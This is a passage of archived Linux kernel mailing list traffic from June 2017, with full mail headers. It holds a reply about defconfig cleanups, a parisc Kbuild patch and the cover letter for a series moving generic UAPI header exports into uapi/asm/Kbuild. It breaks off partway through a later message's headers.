Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1dJjUx-0004mv-8H
	for gla-linux-snps-arc@m.gmane.org; Sat, 10 Jun 2017 18:44:27 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=AGwK7M5Yrs1spIBoZFOltG+ylHmRliVju4oHy62TRCs=; b=lPmhjfLwirM65m
	gw5V12frlPY2Zn9uk0jAfoTiWUU127a8Xnnixv6/lKb5qIhwUh4Lx+tcHGuLh4zNAmRDbutREqauB
	0FNf7SiYnfjIgDGt9pFRPLtuSeDR7Beq7RSqIAzSTI4jR50eEtYf09nAjLdI//vdxQ9fYoM/VEu6X
	vsTJxmORCp6SNhDrnm3AuvFl3oxUwl3CbBnuUddjQFy8/7CgYEjF1bW8h/EkccHPdMgyJGQvuF30S
	rfL7TVJtLAPVAkKG44lt/uxlBILU6q6IRObVoL+kJzCjLkr/Evi6BSX0esqkEsszXWYxoATYw1NyD
	+0r9Rx0vbJWmX1UI7dIA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1dJjV2-0003xT-C1; Sat, 10 Jun 2017 16:44:32 +0000
Original-Received: from mail-wr0-f193.google.com ([209.85.128.193])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1dJjUz-0003vj-1S; Sat, 10 Jun 2017 16:44:30 +0000
Original-Received: by mail-wr0-f193.google.com with SMTP id e23so13063666wre.3;
 Sat, 10 Jun 2017 09:44:07 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=RYXNVC0gz1XGTuCcbcpCZnif+AWJ1e8zcm44B/zPWRg=;
 b=bvmMT43YJ0BrxQYXDZc40b6fG9o81Yi5poGW/MTK9lbQlz9kjHy72ifI2fAHUJ3d5X
 slqbOm6sE1xb/J1cdJgwKVnrqkkTshWh0v4ELT87PJ19Ig4/8N+mXrWfjBmu3MUFvm26
 w7ks6h3XtN6qbZKdIZln8xHgCuBiFHMKMpxW0llHIGTNrxociXJf8g7vgF8u0OdMywU+
 qkgNek/EzwVnadZozgM+FZCFY2CIRdTY9TgAXZHIhjgucmNzYImhXD4jhDsRbkRjLVIk
 VK9JbsFx2IGO4dU8OQKLTwxuQt9tzD92wQEuTVY+x0fEgcarTAVLtG3nManeUB67vbGC
 fpMw==
X-Gm-Message-State: AKS2vOynryHFou8XZNioomuKy3pXwzhnNqBZFmbWP0qXt0fSO/U59SiZ
 jg4AreMx7VM0gw==
X-Received: by 10.80.207.7 with SMTP id c7mr1384881edk.59.1497113046455;
 Sat, 10 Jun 2017 09:44:06 -0700 (PDT)
Original-Received: from kozik-lap (pub082136089155.dh-hfc.datazug.ch. [82.136.89.155])
 by smtp.googlemail.com with ESMTPSA id
 r28sm2409099edd.33.2017.06.10.09.43.53
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Sat, 10 Jun 2017 09:44:05 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <CAK8P3a3bUeC3H2oNfdBedVY4UTCe8OgKbWmv46d5xfu8tC7tAg@mail.gmail.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170610_094429_234840_9EB5190C 
X-CRM114-Status: GOOD (  14.68  )
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:2512 gmane.linux.ports.mips.general:59597 gmane.linux.ports.sparc:25499 gmane.linux.ports.hexagon:1264 gmane.linux.ports.sh.devel:55478 gmane.linux.kernel.samsung-soc:60824 gmane.linux.uml.devel:16399 gmane.linux.ports.alpha:4243 gmane.linux.uml.user:15321 gmane.linux.ports.arm.omap:143985 gmane.linux.ports.arm.kernel:584025 gmane.linux.ports.parisc:27497 gmane.linux.ports.ppc64.devel:143184 gmane.linux.kernel:2497502
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/2512>

On Fri, Jun 09, 2017 at 09:59:48PM +0200, Arnd Bergmann wrote:
> On Thu, Jun 8, 2017 at 6:08 PM, Krzysztof Kozlowski <krzk@kernel.org> wrote:
> > Hi,
> >
> > While cleaning Samsung ARM defconfigs with savedefconfig, I encountered
> > similar obsolete entries in other files.
> >
> > Except the ARM, no dependencies.
> > For ARM, the rest of patches depend on the first change (otherwise
> > it might not apply cleanly).
> 
> Great work!
> 
> I looked at all the ARM patches, and everything looks good to me (the
> changlog linewrapping may be suboptimal for readability in some cases,
> if I had to say anything negative ;-) ).
> 
> Please add my Acked-by to the ARM patches and send a pull request.

Thanks, I'll send you ARM part in pull request.

As for the rest, I think respective arch/platform maintainers should
take it.

Best regards,
Krzysztof

From - Thu Nov 08 21:39:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Masahiro Yamada <yamada.masahiro@socionext.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kbuild.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 19/27] parisc: move generic-y of exported headers to uapi/asm/Kbuild
Date: Mon, 12 Jun 2017 12:27:13 +0900
Lines: 59
Approved: news@gmane.org
Message-ID: <1497238041-7011-20-git-send-email-yamada.masahiro@socionext.com>
References: <1497238041-7011-1-git-send-email-yamada.masahiro@socionext.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1497238101 27950 195.159.176.226 (12 Jun 2017 03:28:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Jun 2017 03:28:21 +0000 (UTC)
Cc: Masahiro Yamada <yamada.masahiro@socionext.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-kernel@vger.kernel.org,
        linux-parisc@vger.kernel.org
To: linux-kbuild@vger.kernel.org,
        linux-arch <linux-arch@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jun 12 05:28:15 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dKG1X-0006rU-CQ
	for glk-linux-kernel-3@m.gmane.org; Mon, 12 Jun 2017 05:28:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752195AbdFLD2O (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sun, 11 Jun 2017 23:28:14 -0400
Original-Received: from conuserg-09.nifty.com ([210.131.2.76]:64067 "EHLO
        conuserg-09.nifty.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752151AbdFLD2J (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 11 Jun 2017 23:28:09 -0400
Original-Received: from pug.e01.socionext.com (p14092-ipngnfx01kyoto.kyoto.ocn.ne.jp [153.142.97.92]) (authenticated)
        by conuserg-09.nifty.com with ESMTP id v5C3RXPJ001077;
        Mon, 12 Jun 2017 12:27:49 +0900
DKIM-Filter: OpenDKIM Filter v2.10.3 conuserg-09.nifty.com v5C3RXPJ001077
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=nifty.com;
        s=dec2015msa; t=1497238069;
        bh=aM3Dj/8HywKbm1HdN6wzOwhoayaBhlIlibskwjUPyRg=;
        h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
        b=W8D6HKm0dVryCLE3joIpYsUFxC+TlVPsDf6F/DTFowXoVHdcAqXK/IbuxYl9JCnKO
         +DZvrt6yEwUI9N9gcQjso7Z5ChuqMJs0CtlXYsR2GN5rpcEg7iIfFCHRngAMM+8SuY
         m265p1zhoX9ikHzoxHNk3f8wQlMjlK9Qvusx4PsznUGv+UeW8FElPHMQeKao7IyJCI
         cCAJkl3btcdZJdk+D2UUI9G5nIygxVwsv4MZCqI3d1/dHWW+BlcLavgFBujZvL7/ts
         IdUbsj8YyweeqYrZ7uDBsWWzLvc3SAtpjT2IZqkqRctHSrTIZjd+UJjX64r/ZuimHW
         FILiSCNdl9+EQ==
X-Nifty-SrcIP: [153.142.97.92]
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1497238041-7011-1-git-send-email-yamada.masahiro@socionext.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2497730 gmane.linux.kbuild.devel:17073 gmane.linux.kernel.cross-arch:37228 gmane.linux.ports.parisc:27498
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2497730>

Since commit fcc8487d477a ("uapi: export all headers under uapi
directories"), all (and only) headers under uapi directories are
exported, but asm-generic wrappers are still exceptions.

scripts/Makefile.headersinst still need to deal with old-kbuild-file
for headers listed in arch/*/include/asm/Kbuild, but actually exported.

As the last work to finish de-coupling the uapi from kernel headers,
move generic-y of exported headers to uapi/asm/Kbuild.

Signed-off-by: Masahiro Yamada <yamada.masahiro@socionext.com>
---

 arch/parisc/include/asm/Kbuild      | 5 -----
 arch/parisc/include/uapi/asm/Kbuild | 4 ++++
 2 files changed, 4 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index a9909c2d04c5..e26348d52ecc 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -1,5 +1,3 @@
-
-generic-y += auxvec.h
 generic-y += barrier.h
 generic-y += clkdev.h
 generic-y += current.h
@@ -11,14 +9,11 @@ generic-y += hw_irq.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kdebug.h
-generic-y += kvm_para.h
 generic-y += local.h
 generic-y += local64.h
 generic-y += mcs_spinlock.h
 generic-y += mm-arch-hooks.h
-generic-y += param.h
 generic-y += percpu.h
-generic-y += poll.h
 generic-y += preempt.h
 generic-y += seccomp.h
 generic-y += segment.h
diff --git a/arch/parisc/include/uapi/asm/Kbuild b/arch/parisc/include/uapi/asm/Kbuild
index 3971c60a7e7f..196d2a4efb31 100644
--- a/arch/parisc/include/uapi/asm/Kbuild
+++ b/arch/parisc/include/uapi/asm/Kbuild
@@ -1,4 +1,8 @@
 # UAPI Header export list
 include include/uapi/asm-generic/Kbuild.asm
 
+generic-y += auxvec.h
+generic-y += kvm_para.h
+generic-y += param.h
+generic-y += poll.h
 generic-y += resource.h
-- 
2.7.4



From - Thu Nov 08 21:39:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Masahiro Yamada <yamada.masahiro@socionext.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kbuild.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 00/27] kbuild, arch: complete UAPI de-coupling and cleanup
 scripts/Makefile.headersinst
Date: Mon, 12 Jun 2017 12:26:54 +0900
Lines: 110
Approved: news@gmane.org
Message-ID: <1497238041-7011-1-git-send-email-yamada.masahiro@socionext.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1497238160 7468 195.159.176.226 (12 Jun 2017 03:29:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Jun 2017 03:29:20 +0000 (UTC)
Cc: Rich Felker <dalias@libc.org>, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, Catalin Marinas <catalin.marinas@arm.com>,
 Will Deacon <will.deacon@arm.com>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Masahiro Yamada <yamada.masahiro@socionext.com>, sparclinux@vger.kernel.org,
 Guan Xuetao <gxt@mprc.pku.edu.cn>, Jonas Bonn <jonas@southpole.se>,
 Jesper Nilsson <jesper.nilsson@axis.com>, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>, Aurelien Jacquiot <a-jacquiot@ti.com>,
 Russell King <linux@armlinux.org.uk>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 linux-snps-arc@lists.infradead.org, uclinux-h8-devel@lists.sourceforge.jp,
 Fenghua Yu <fenghua.yu@intel.com>, James Hogan <james.hogan@imgtec.com>,
 Chris Metcalf <cmetcalf@mellanox.com>, Steven Mi
To: linux-kbuild@vger.kernel.org, linux-arch <linux-arch@vger.kernel.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Mon Jun 12 05:29:12 2017
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1dKG2Q-0001L3-Jb
	for gla-linux-snps-arc@m.gmane.org; Mon, 12 Jun 2017 05:29:10 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:Date:
	Subject:To:From:Reply-To:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:
	References:List-Owner; bh=yYr0Lure2neQvt+hQs3CvYojvU6nBZYLELKUdXhUIxo=; b=P7I
	uqkFOrJH174/aDnDofXSvvpJL92N99vvQ5ZVBWx4OZD+7CZmurJVt0sF1rGiQIG8BF3f8ww9IFVNq
	qzU+mYp6I8jqn8lq0khLR4i6cB723hnCqn5ZfK0YCzGTeyPLzQoE1PRvXq5CdyOhMSqNzBTd6o7Uf
	zpQyBjGTcmPP524rBr5CHFe+3NFllPTSsfuiZ+NYBX4P8XyhKUgGOA7yfofKhXGkoRSaP+fDqqVEH
	yx2EgZmbXGU5IO3BX4odcJ3dapadT4akZClpJzO5CdP6Mf+6wT1cgnXDPMjiKRWLJci1CX+SpZOXf
	GyyXpQMQplWIapmOXlS3j26gTQPdUFg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1dKG2T-0008Pa-P1; Mon, 12 Jun 2017 03:29:13 +0000
Original-Received: from conuserg-09.nifty.com ([210.131.2.76])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1dKG25-0007eX-SD; Mon, 12 Jun 2017 03:28:56 +0000
Original-Received: from pug.e01.socionext.com (p14092-ipngnfx01kyoto.kyoto.ocn.ne.jp
 [153.142.97.92]) (authenticated)
 by conuserg-09.nifty.com with ESMTP id v5C3RXP0001077;
 Mon, 12 Jun 2017 12:27:33 +0900
DKIM-Filter: OpenDKIM Filter v2.10.3 conuserg-09.nifty.com v5C3RXP0001077
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=nifty.com;
 s=dec2015msa; t=1497238056;
 bh=ts1X1oTzB74TB+ANontNNTGlMPy7obNMBKfuQnCSTRY=;
 h=From:To:Cc:Subject:Date:From;
 b=OnvcyKHyxY7zwWSOGosXfWqiSRx8o1Z6PiGp+WZka11oPnnZWEIXEcuT/KjQhC9Ri
 W73PHXtHpC1PhZBX+/M2AkIxPmFeHVetqB96oipgGqUDz3cBlWRt+nJ0ES/RjUqLEh
 l3Ucbv04Jo80mtnqZCyjIyOv0lWKGPgjbczDHYMCUqL0xhGoc3M7PoVQbdrOQhwXLW
 OIfw2GnIHPxFBjHzOnGWWlTTAoaOg9fN05+qgeM7SVKSMtOywHqPf3OSPXGNxRtTfn
 43jjy9gU6l1lJ1pcyzkHqJEQvPzmhI7eWULKtGUCr3LGzRYEoMtwdyrt+Wh+FB6Mp/
 izmwXPhuk4+fw==
X-Nifty-SrcIP: [153.142.97.92]
X-Mailer: git-send-email 2.7.4
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170611_202850_943688_09138640 
X-CRM114-Status: UNSURE (   9.07  )
X-CRM114-Notice: Please train this message.
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:2514 gmane.linux.kbuild.devel:17083 gmane.linux.kernel.cross-arch:37238 gmane.linux.ports.ia64:27933 gmane.linux.ports.sh.devel:55484 gmane.linux.ports.sparc:25506 gmane.linux.ports.hexagon:1269 gmane.linux.kernel.metag:1402 gmane.linux.ports.arm.kernel:584084 gmane.linux.ports.parisc:27499 gmane.linux.kernel:2497741
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/2514>


In v4.12-rc1, we had a big progress for headers_install.
All (and only) headers under UAPI directories are exported.
However, asm-generic wrappers are still exceptions because
most of arch/*/include/asm/Kbuild include "generic-y" for
exported headers.  As a result, many of generic-wrappers to be
exported are generated outside UAPI directories.

To finish de-coupling UAPI, "generic-y" for exported headers
should be moved to arch/*/include/uapi/asm/Kbuild.

With those cleanups, the logic of headers_install will become
even simpler.  UAPI will be completely self-contained.

This series is based on v4.12-rc2 tag.

This series touches Kbuild files under arch/.  We have two options
to merge this series.

[1] I will collect Acked-by from arch maintainers, then apply the
    whole series to the Kbuild tree.

[2] I will ask arch maintainers to pick up arch changes (for v4.13),
    then apply Makefile changes to the Kbuild tree (for v4.14).

[1] will finish this work by v4.13, but need to deal with some conflicts.
[2] will allow us to reduce conflicts (still a bit conflicts),
    but take more time to finish this work.

If arch maintainers ack [1], I can manage conflicts
before sending a pull request to Linus.



Masahiro Yamada (27):
  kbuild: remove useless $(gen) variable in Makefile.headersinst
  kbuild: fix comment about dst of headers_{install,check}_all
  kbuild: pass dst= to Makefile.headersinst from top Makefile
  arm64: move generic-y of exported headers to uapi/asm/Kbuild
  ARM: move generic-y of exported headers to uapi/asm/Kbuild
  arc: move generic-y of exported headers to uapi/asm/Kbuild
  blackfin: move generic-y of exported headers to uapi/asm/Kbuild
  c6x: move generic-y of exported headers to uapi/asm/Kbuild
  cris: move generic-y of exported headers to uapi/asm/Kbuild
  h8300: move generic-y of exported headers to uapi/asm/Kbuild
  hexagon: move generic-y of exported headers to uapi/asm/Kbuild
  ia64: move generic-y of exported headers to uapi/asm/Kbuild
  m32r: move generic-y of exported headers to uapi/asm/Kbuild
  m68k: move generic-y of exported headers to uapi/asm/Kbuild
  metag: move generic-y of exported headers to uapi/asm/Kbuild
  nios2: remove unneeded arch/nios2/include/(generated/)asm/signal.h
  nios2: move generic-y of exported headers to uapi/asm/Kbuild
  openrisc: move generic-y of exported headers to uapi/asm/Kbuild
  parisc: move generic-y of exported headers to uapi/asm/Kbuild
  sh: move generic-y of exported headers to uapi/asm/Kbuild
  sparc: move generic-y of exported headers to uapi/asm/Kbuild
  tile: move generic-y of exported headers to uapi/asm/Kbuild
  unicore32: move generic-y of exported headers to uapi/asm/Kbuild
  xtensa: move generic-y of exported headers to uapi/asm/Kbuild
  kbuild: do not include old-kbuild-file from Makefile.headersinst
  kbuild: split exported generic header creation into uapi-asm-generic
  kbuild: remove wrapper files handling from Makefile.headersinst

 Makefile                               | 13 +++++++------
 arch/arc/include/asm/Kbuild            | 25 -------------------------
 arch/arc/include/uapi/asm/Kbuild       | 26 ++++++++++++++++++++++++++
 arch/arm/include/asm/Kbuild            | 17 -----------------
 arch/arm/include/uapi/asm/Kbuild       | 16 ++++++++++++++++
 arch/arm64/include/asm/Kbuild          | 17 -----------------
 arch/arm64/include/uapi/asm/Kbuild     | 16 ++++++++++++++++
 arch/blackfin/include/asm/Kbuild       | 22 ----------------------
 arch/blackfin/include/uapi/asm/Kbuild  | 22 ++++++++++++++++++++++
 arch/c6x/include/asm/Kbuild            | 27 ---------------------------
 arch/c6x/include/uapi/asm/Kbuild       | 26 ++++++++++++++++++++++++++
 arch/cris/include/asm/Kbuild           | 18 ------------------
 arch/cris/include/uapi/asm/Kbuild      | 19 +++++++++++++++++++
 arch/h8300/include/asm/Kbuild          | 27 ---------------------------
 arch/h8300/include/uapi/asm/Kbuild     | 28 ++++++++++++++++++++++++++++
 arch/hexagon/include/asm/Kbuild        | 23 -----------------------
 arch/hexagon/include/uapi/asm/Kbuild   | 24 ++++++++++++++++++++++++
 arch/ia64/include/asm/Kbuild           |  2 --
 arch/m32r/include/asm/Kbuild           |  2 --
 arch/m32r/include/uapi/asm/Kbuild      |  2 ++
 arch/m68k/include/asm/Kbuild           | 12 ------------
 arch/m68k/include/uapi/asm/Kbuild      | 11 +++++++++++
 arch/metag/include/asm/Kbuild          | 24 ------------------------
 arch/metag/include/uapi/asm/Kbuild     | 24 ++++++++++++++++++++++++
 arch/nios2/include/asm/Kbuild          | 25 -------------------------
 arch/nios2/include/asm/signal.h        | 22 ----------------------
 arch/nios2/include/uapi/asm/Kbuild     | 24 ++++++++++++++++++++++++
 arch/openrisc/include/asm/Kbuild       | 28 ----------------------------
 arch/openrisc/include/uapi/asm/Kbuild  | 29 +++++++++++++++++++++++++++++
 arch/parisc/include/asm/Kbuild         |  5 -----
 arch/parisc/include/uapi/asm/Kbuild    |  4 ++++
 arch/sh/include/asm/Kbuild             | 20 --------------------
 arch/sh/include/uapi/asm/Kbuild        | 20 ++++++++++++++++++++
 arch/sparc/include/asm/Kbuild          |  1 -
 arch/sparc/include/uapi/asm/Kbuild     |  2 ++
 arch/tile/include/asm/Kbuild           | 19 -------------------
 arch/tile/include/uapi/asm/Kbuild      | 19 +++++++++++++++++++
 arch/unicore32/include/asm/Kbuild      | 31 +------------------------------
 arch/unicore32/include/uapi/asm/Kbuild | 28 ++++++++++++++++++++++++++++
 arch/xtensa/include/asm/Kbuild         |  9 ---------
 arch/xtensa/include/uapi/asm/Kbuild    | 10 ++++++++++
 scripts/Makefile.headersinst           | 28 ++++------------------------
 42 files changed, 362 insertions(+), 405 deletions(-)
 delete mode 100644 arch/nios2/include/asm/signal.h

-- 
2.7.4

From - Thu Nov 08 21:39:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.kernel.samsung-soc,gmane.linux.uml.devel,gmane.linux.ports.alpha,gmane.linux.uml.user,gmane.linux.ports.arm.omap,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCH 00/35] defconfig: Cleanup from old entries
Date: Mon, 12 Jun 2017 11:54:51 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <CAK8P3a3YN+5aJdqxwnpZaVpuucsmQUE3BuEpAf+q7uPXa1dgZw@mail.gmail.com>
References: <20170608160836.12196-1-krzk@kernel.org>
 <CAK8P3a3bUeC3H2oNfdBedVY4UTCe8OgKbWmv46d5xfu8tC7tAg@mail.gmail.com>
 <20170610164351.7sxzvj4ojj3fbc7h@kozik-lap>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1497261327 16094 195.159.176.226 (12 Jun 2017 09:55:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Jun 2017 09:55:27 +0000 (UTC)
Cc: "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Rich Felker <dalias@libc.org>, Aurelien Jacquiot <a-jacquiot@ti.com>,
 Tony Lindgren <tony@atomide.com>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Liviu Dudau <liviu.dudau@arm.com>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 David Howells <dhowells@redhat.com>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux <sparclinux@vger.kernel.org>,
 linux-hexagon@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
 Thomas Gleixner <tglx@linutronix.de>, Lennox Wu <lennox.wu@gmail.com>,
 Jonas Bonn <jonas@southpole.se>, Chen Liqin <liqin.linux@gmail.com>,
 Jesper Nilsson <jesper.nilsson@axis.com>,
 Lorenzo Pieralisi <lorenzo.pieralisi@arm.com>, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Aaro Koskinen <aaro.koskinen@iki.fi>, linux-sh@vger.kernel.org
To: Krzysztof Kozlowski <krzk@kernel.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Mon Jun 12 11:55:15 2017
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1dKM43-0003VR-7U
	for gla-linux-snps-arc@m.gmane.org; Mon, 12 Jun 2017 11:55:15 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:Subject:Message-ID:Date:From:
	References:In-Reply-To:MIME-Version:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=aDCyd+eSYPIHEeGPWiRauiAYT/65IBlcoqSVTcs0X3c=; b=j9NPSCJB6r6UUM
	HJ8YrX19R2aiNSMTntdl5cUVxjQmOo6PR+zGDNdYF9xAuRROXfBpFB6nY4mrw965IoCAn7+NPWaJW
	4r10KXRpm+KkvmB7sEcBURVXTxy+sV9pduvLvjB0uBcSVhFYlxsy0dqVjSAoumSNaGA52RwL1o9Hp
